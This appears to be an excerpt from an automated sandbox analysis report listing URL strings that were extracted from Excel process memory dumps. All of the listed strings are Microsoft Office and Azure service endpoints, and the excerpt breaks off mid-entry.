Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/%
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://management.azure.com
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://management.azure.com/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://management.azure.com/t35
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://management.azure.comh
Source: EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://messaging.office.com/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyq
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeform
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformsTL
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ncus.contentsync.
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/
Source: EXCEL.EXE, 00000000.00000003.843183834.0000000012B8E000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.4954.1000&ClientId=
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/nexus/rulesI
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.comSocket
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord?
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://o365auditrealtimeingestion.manage.office.comYVQ
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.netQ
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/v
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886998111.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885647644.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.981208591.000000000F1DD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847975213.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792735912.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728068587.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976405723.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846255300.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980144579.000000000D3B2000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831001042.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844416194.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831097554.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830040701.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843365672.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728182877.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829142024.0000000012A3F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845815973.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792243288.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829943784.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847661553.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844255117.000000000F125000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887363986.000000000F1DC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843447487.000000000F1D8000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://officeapps.live.com
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com.
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com4
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com8M?
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com:
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comH
Source: EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comN
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comle2.tlb
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comv
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comy
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comzXU
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr 